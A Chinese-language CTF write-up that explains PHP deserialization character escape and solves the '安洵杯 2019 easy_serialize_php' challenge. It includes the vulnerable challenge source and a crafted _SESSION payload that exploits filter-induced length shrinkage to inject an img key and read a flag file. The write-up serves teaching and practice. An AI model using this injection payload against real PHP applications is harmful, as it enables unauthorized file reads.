php反序列化字符逃逸

php的序列化有几个特性

1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 .

2.当长度不对应的时候会出现报错

3.可以反序列化类中不存在的元素

我们一般的序列化是这么操作的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$a=array(
"name"=>"Kenoe",
"pass"=>"123123",
);
echo serialize($a);
//输出a:2:{s:4:"name";s:5:"Kenoe";s:4:"pass";s:6:"123123";}
echo var_dump(unserialize('a:2:{s:4:"name";s:5:"Kenoe";s:4:"pass";s:6:"123123";}'));
//输出array(2) {
["name"]=>
string(5) "Kenoe"
["pass"]=>
string(6) "123123"
}
echo var_dump(unserialize('a:2:{s:4:"name";s:5:"Kenoe";s:4:"pass";s:6:"123123";}aaaa'));
//这里加了aaaa,依旧可以输出和前面一样的内容

所以我们知道反序列化函数是有一定读取的范围的,由里面的数字决定,同时必须要有对应的闭合符号

反序列化字符逃逸题目的特点

反序列化函数一般是先序列化,然后进行一个过滤函数,然后再进行一个反序列化,我们可以根据这个过滤来进行字符的逃逸

1
2
3
4
5
<?php
$_SESSION["user"]='flagflagflagflagflagflag'
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);

结果是

1
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

然后由于有过滤机制,所有flag会被替换成空,那么就会变成

1
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

我们就会发现24可以继续往后面读取,一直读取了;s:8:”function”;s:59:”a,而且刚好后面是”;满足了闭合的要求,于是可以继续反序列化,我们就可以造成一些注入

我们传入两个键值对,第一个键对应的值因为过滤函数被过滤掉了,在我们巧妙的长度构造下,第二个键变成了第一个键的值,而第二个值在反序列化后变成了第二个键值对

[安洵杯 2019]easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

传参为phpinfo的时候发现了flag的地址是d0g3_f1ag.php

于是根据最后一个判断语句 我们要get传show_image,然后会对$serialize_info进行一个反序列化,这里是一个数组的反序列化,然后输出数组里面的img内容,同时这个img是base64加密过的

代码执行的顺序是

1.把get的f赋值给$function

2.检测是否有session,若有就释放掉重新赋值,user赋值为guest,function赋值为前面得到的$function

3.把post的数组进行一个extract赋值

4.检测是否有get一个img_path,若没有,则把session里面的img赋值为base64加密的guest_img.png;若有,则把session里面的img赋值为经过sha和base64加密后的img_path

5.把$serialize_info定义为序列化后的session,而且过滤关键字

6.如果$funtion等于show_image的时候,反序列化$serialize_info里面的img同时base64解码

这里面向wp做题,从SESSION原本就有的键user入手,由于不能直接给img赋值,因为后面会把img赋值覆盖掉,所以我们要构造一个键值对使得img在反序列化后是flag,同时使得原本的img的内容不在读取的范围内

所以要创造出img

s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;

$_SESSION[user]=”flagflagflagphp”;

$_SESSION[function]=”;s:8:”function”;s:0:””;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;”

由于要吞掉”;s:8:”function”;s:68:”

构造payload

?f=show_image

_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=”;s:8:”function”;s:0:””;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

得到flag{58277f1a-3352-4990-8289-e4586be8bc3a}